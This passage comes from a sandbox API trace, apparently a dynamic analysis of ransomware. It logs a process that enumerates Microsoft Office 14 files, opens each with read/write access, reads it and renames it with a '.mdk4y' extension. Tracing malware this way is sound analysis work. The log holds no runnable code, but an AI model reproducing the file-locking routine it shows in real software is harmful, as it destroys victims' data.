(lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css.mdk4y")) returned 1 [0186.704] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.704] AreFileApisANSI () returned 1 [0186.704] GetACP () returned 0x4e4 [0186.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GANTT.CSS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GANTT.CSSS", lpUsedDefaultChar=0x37df4c) returned 9 [0186.704] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826193500000) returned 1 [0186.705] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0186.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826195600000) returned 1 [0186.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826195600000) returned 1 [0186.726] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css.mdk4y")) returned 1 [0186.727] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.727] AreFileApisANSI () returned 1 [0186.727] GetACP () returned 0x4e4 [0186.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GANTT.VRD", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GANTT.VRD", lpUsedDefaultChar=0x37df4c) returned 9 [0186.728] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826195800000) returned 1 [0186.728] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7fb, lpOverlapped=0x0) returned 1 [0186.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826196000000) returned 1 [0186.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826196000000) returned 1 [0186.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.mdk4y")) returned 1 [0186.731] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.731] AreFileApisANSI () returned 1 [0186.731] GetACP () returned 0x4e4 [0186.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GANTT.VSL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GANTT.VSL", lpUsedDefaultChar=0x37df4c) returned 9 [0186.731] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826196200000) returned 1 [0186.732] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e570, lpOverlapped=0x0) returned 1 [0186.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826197700000) returned 1 [0186.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826197700000) returned 1 [0186.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.mdk4y")) returned 1 [0186.752] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.752] AreFileApisANSI () returned 1 [0186.752] GetACP () returned 0x4e4 [0186.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GR8GALRY.GRA", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GR8GALRY.GRA", lpUsedDefaultChar=0x37df4c) returned 12 [0186.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826198300000) returned 1 [0186.753] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2da00, lpOverlapped=0x0) returned 1 [0186.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826200300000) returned 1 [0186.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826200300000) returned 1 [0186.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.mdk4y")) returned 1 [0186.777] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.777] AreFileApisANSI () returned 1 [0186.777] GetACP () returned 0x4e4 [0186.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRAPH.HXS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRAPH.HXSGRA", lpUsedDefaultChar=0x37df4c) returned 9 [0186.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826200800000) returned 1 [0186.778] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x94f26, lpOverlapped=0x0) returned 1 [0186.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826205700000) returned 1 [0186.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826205700000) returned 1 [0186.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.mdk4y")) returned 1 [0186.836] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.836] AreFileApisANSI () returned 1 [0186.836] GetACP () returned 0x4e4 [0186.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRAPH_COL.HXC", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRAPH_COL.HXCXK", lpUsedDefaultChar=0x37df4c) returned 13 [0186.836] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826206800000) returned 1 [0186.838] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26d, lpOverlapped=0x0) returned 1 [0186.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209000000) returned 1 [0186.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209000000) returned 1 [0186.860] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.mdk4y")) returned 1 [0186.863] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.864] AreFileApisANSI () returned 1 [0186.864] GetACP () returned 0x4e4 [0186.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRAPH_COL.HXT", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRAPH_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 13 [0186.864] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209400000) returned 1 [0186.864] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd, lpOverlapped=0x0) returned 1 [0186.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209500000) returned 1 [0186.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209500000) returned 1 [0186.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.mdk4y")) returned 1 [0186.866] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.866] AreFileApisANSI () returned 1 [0186.866] GetACP () returned 0x4e4 [0186.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRAPH_F_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRAPH_F_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0186.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209700000) returned 1 [0186.867] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0186.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209800000) returned 1 [0186.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209800000) returned 1 [0186.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.mdk4y")) returned 1 [0186.869] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.869] AreFileApisANSI () returned 1 [0186.869] GetACP () returned 0x4e4 [0186.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRAPH_K_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRAPH_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0186.869] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826209900000) returned 1 [0186.869] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0186.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826210000000) returned 1 [0186.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826210000000) returned 1 [0186.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.mdk4y")) returned 1 [0186.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.871] AreFileApisANSI () returned 1 [0186.871] GetACP () returned 0x4e4 [0186.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRINTL32.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRINTL32.DLLHXK", lpUsedDefaultChar=0x37df4c) returned 12 [0186.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826210200000) returned 1 [0186.872] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32d80, lpOverlapped=0x0) returned 1 [0186.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826211400000) returned 1 [0186.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826211400000) returned 1 [0186.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.mdk4y")) returned 1 [0186.887] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.887] AreFileApisANSI () returned 1 [0186.887] GetACP () returned 0x4e4 [0186.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRINTL32.DLL.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRINTL32.DLL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 20 [0186.887] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826211800000) returned 1 [0186.888] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9380, lpOverlapped=0x0) returned 1 [0186.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826214200000) returned 1 [0186.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826214200000) returned 1 [0186.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.mdk4y")) returned 1 [0186.915] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.915] AreFileApisANSI () returned 1 [0186.915] GetACP () returned 0x4e4 [0186.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRINTL32.REST.IDX_DLL", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRINTL32.REST.IDX_DLLVIEW.XSN", lpUsedDefaultChar=0x37df4c) returned 21 [0186.915] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826214600000) returned 1 [0186.916] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18780, lpOverlapped=0x0) returned 1 [0186.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826219500000) returned 1 [0186.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826219500000) returned 1 [0186.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.mdk4y")) returned 1 [0186.968] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.968] AreFileApisANSI () returned 1 [0186.968] GetACP () returned 0x4e4 [0186.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRLEX.DLL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRLEX.DLLREST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 9 [0186.968] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826219900000) returned 1 [0186.969] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3180, lpOverlapped=0x0) returned 1 [0187.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826224500000) returned 1 [0187.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826224500000) returned 1 [0187.015] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.mdk4y")) returned 1 [0187.017] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0187.017] AreFileApisANSI () returned 1 [0187.017] GetACP () returned 0x4e4 [0187.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Groove Starter Template.xsn", cchWideChar=27, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Groove Starter Template.xsnSN", lpUsedDefaultChar=0x37df4c) returned 27 [0187.017] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0187.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826224900000) returned 1 [0187.019] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbb9, lpOverlapped=0x0) returned 1 [0187.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826236700000) returned 1 [0187.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826236700000) returned 1 [0187.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn.mdk4y")) returned 1 [0187.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0187.140] AreFileApisANSI () returned 1 [0187.140] GetACP () returned 0x4e4 [0187.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVE.HXS", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, 